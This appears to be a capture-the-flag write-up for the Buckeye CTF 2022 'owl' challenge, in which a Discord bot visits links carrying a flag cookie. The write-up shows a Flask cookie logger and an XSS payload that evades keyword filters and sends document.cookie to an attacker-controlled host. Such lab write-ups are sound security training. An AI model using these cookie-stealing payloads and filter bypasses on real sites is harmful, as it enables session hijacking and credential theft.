Home Buckeye CTF 2022 - owl - Writeup
Post
Cancel

Buckeye CTF 2022 - owl - Writeup

challenge-description

How it works

Alright, so owl#9960 is a Discord bot and in the challenege description we have a source code for it. Let’s quickly walk trough how it works and how we can get the flag.

In order to trigger any response from owl, you have to slide into its Discord DMs and send a message:

1
2
3
client.on("message", msg => {
	if(!(msg.channel instanceof discord.DMChannel))
		return;

The owl expects the message to be a website link which is validated with the following regex rule:

1
let url = /https?:\/\/(www\.)?([-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b)([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/i

If the message contains a valid URL, it will call the scout() function, otherwise the bot will respond with:

1
✨🦉 hoot hoot 🦉✨"

The first thing scout() function checks is if the URL provided in the message contains /owl.

1
2
3
4
if(!url.includes("owl")) {
			resolve("hoot... hoot hoot?");
			return;
		}

If it does, then then the javascript browser sets a cookie with the flag:

1
2
3
4
5
browser.setCookie({
			name: "flag",
			domain: host,
			value: process.env.FLAG
		});

This will be our target - we will somehow have to make the browser gives us the flag cookie.

Before owl bot visits the website, it scraps the website HTML content and passes it to fly() function. Here, the website content udergoes a safe check:

1
2
3
4
5
6
7
8
9
10
11
12
let bad = /<script[\s\S]*?>[\s\S]*?<\/script>/gi;

	return new Promise((resolve, reject) => {
		if(content.match(bad)) {
			resolve("hoot hoot!! >:V hoot hoot hoot hoot");
			return;
		}
	
		if(content.includes("cookie")) {
			resolve("hoooot hoot hoot hoot hoot hoot");
			return;
		}

First, it checks if there are any strings that match the pattern of <script> </script> and then it checks if the word cookie is included anywhere in the HTML content.

If both checks fail, then the website is absolutely safe and the bot proceeds to visit it (like a normal user would):

1
2
3
4
5
6
7
8
browser.visit(url, () => {
			let html = browser.html();
			if(html.toLowerCase().includes("owl")) {
				resolve("✨🦉 hoot hoot 🦉✨");
			} else {
				resolve("");
			}
		});

We get a bonus ✨🦉 hoot hoot 🦉✨ if the website content contains owl keyword. And that’s it. Now how can we exploit it?

Solution #1

Okay, so since we know that owl browser sets the flag as a cookie, we can just read the cookies that were sent with request to our server. The steps would be to:

  • setup a public server
  • send a link to our server that contains owl in URL
  • receive request that owl browser made to your the and just check the cookies it came with

Now, since I happened to have a public facing server, I setup a very simple Flask server with /owl route and just made Flask print the cookies in a request.

1
2
3
4
5
6
7
8
from flask import Flask, render_template, make_response, request

app = Flask(__name__)

@app.route('/owl')
def index():
    print(request.cookies.get('flag'))
    return render_templat('index.html')

challenge-description

And there it is, we got the flag!. Now, you can totally do this with other tools, like RequestBin. And if you can’t create an /owl route, just add owl as a request parameter, like this: <URL:PORT/?owl>, and it will work just fine.

Solution #2

Now, suppose there is no way to read request cookies.

Then, the second solution is a to create a website with XSS payload on it that will execute javascript code and sent browser cookie as a request parameter. This, however, can be a little tricky since owl checks for use of <script> tags (which are commonly used for XSS) and the word cookie.

An interesting thing I learnt during this challenge is that apparently zombie.js browser does not properly render <img> tags. So I spent way too much time trying to trigger XSS with <img onerror=> without ever successfully getting the XSS. Ultimately, a more reliable way to get it was with <body onload=> tags - onload property, just like onerror, can execute javascript code.

The other thing we have to bypass is the word cookie. We can decimal enocode it, like this:

1
 &#0000100&#0000111&#0000099&#0000117&#0000109&#0000101&#0000110&#0000116&#0000046&#0000099&#0000111&#0000111&#0000107&#0000105&#0000101&#0000059

which decodes to document.cookie. However, for some reason I could not get it work. I tested it on myself with XSS payload many times and it worked just fine though - again, I think it might have had something to do with zombie.js browser HTML rendering.

A cool trick I cannot take credit for is to use javasript toLowerCase() function:

1
 var c00kie = document['COOKIE'.toLowerCase()]

The bot only checks for exact match on cookie, so making it upper case will not ring any alarms. In order to make an HTTP request, we can use XMLHttpRequest.

So finally, we can spin up a public server and put our payload in index.html file:

1
2
3
4
5
6
7
8
9
 
 <!DOCTYPE html>
<html>

<body onload="var c00kie = document['COOKIE'.toLowerCase()]; var xhr = new XMLHttpRequest(); xhr.open('GET', '<URL:PORT>/?c00kie=' + c00kie, true); xhr.send();">
 <p> definitely not XSS </p>   

</body>
</html>

And sure enough, if we look at the server logs, we get a URL encoded flag (don’t mind a test flag I setup earlier):

challenge-description

Needless to say, if we were to exploit an XSS vulnerability in the wild, then we could not have a peak into vulnerable server logs like I just did - we would check the logs at <URL:PORT> server instead for the cookie. We can see though that a request is properly made so everything works fine.

Obviously, it’s way more effort than the first solution given that you can just print out request cookies, but at least it gives you some cool XSS practice!

This post is licensed under CC BY 4.0 by the author.